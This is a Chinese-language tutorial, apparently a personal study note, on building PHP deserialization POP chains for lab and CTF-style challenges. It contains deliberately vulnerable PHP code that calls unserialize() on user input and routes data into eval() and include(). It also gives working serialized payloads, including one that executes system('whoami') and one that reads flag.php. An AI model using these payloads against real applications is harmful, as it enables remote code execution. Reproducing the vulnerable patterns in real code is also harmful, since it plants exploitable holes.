4-POP链

POP链前置知识 成员属性赋值对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>

?1 : 如何控制你的对象里的成员属性的对象是那一个 ?
?2: 学习使用反推法

反推法

找到可以利用的点 ,可以执行命令的函数

1
2
3
4
5
class evil {
var $test2;
public function action(){
eval($this->test2);
}

1 : evil 类 ,里面可以执行命令
可以利用的漏洞点在函数eval() (可执行命令 )
2: eval() 会调用 $test2
3: 往上找 看谁会去调用 action方法 ,因为这里也不存在魔术方法,不会凭空调用$test2 ,action;

1
2
3
4
5
6
7
8
9
10
11
12
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
class normal {
public function action(){
echo "please attack me";
}

4 : 发现__destruct()方法,
析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。
反序列化unserialize() 触发魔术方法destruct ,
__destruct 会从$test调用action() ,但是这里调用的是 class normal 类

思路 :

unserialize($_GET[‘test’]);

一定会触发 __destruct()魔法函数 ,然后去调用 action ,但是 他这里调用的class normal 里面的 action(),
然后就是要修改 ,序列化内容 ,让 normal 变成我们想要调用的 calss evil 类里面的action() 方法

思考点 :
如何让$test 调用 evil里的成员方法 action()

解决思路 :
反序列化 成员属性的值,是由我们反序列化字符串的值来决定 的
只需要给 $test 赋值为对象 test = new evil()

构造payload

image.png
然后输出 payload :
image.png

1
2
3
4
5
urlencode 编码过的
O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D


O:5:"index":1:{s:11:"indextest";O:4:"evil":1:{s:5:"test2";s:17:"system('whoami');";}}

是可以成功执行的
image.png

魔术方法触发规则

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>

魔术方法触发前提:魔术方法所在类(或对象)被调用
image.png
看靶场 我这里会报类型错误
image.png
都是不会触发的 ,因为不包含wakeup(),故不会触发
没有字符串输出 unserialize , benben传的值 ,所以不会触发 ,
本地echo 输出
image.png
是可以触发 __tostring()
但是这题要求触发两个 魔法方法怎么触发呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
class fast{
public $source;
}
class sec {
var $benben;
}
$a = new sec();
$b = new fast();
//new 两个实例化

$b -> source=$a;
// 把$a 对象 赋值给 fast 的 source 触发 wakeup 方法
//反序列化之后会触发
//echo __tostring方法
echo serialize($b);

?>

O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
image.png

POP链构造 — POC 编写

POP链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫”面向属性编程”,

即POP( Property Oriented Programming)。
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload。

例题 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

POC :
先把 function 全部去掉 只留需要赋值 的
image.png

完整 poc
image.png
这里因为是 private $var 私有的属性 ,要在 Modfier前后加上%00
payload:
?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
image.png
成功输出了flag.php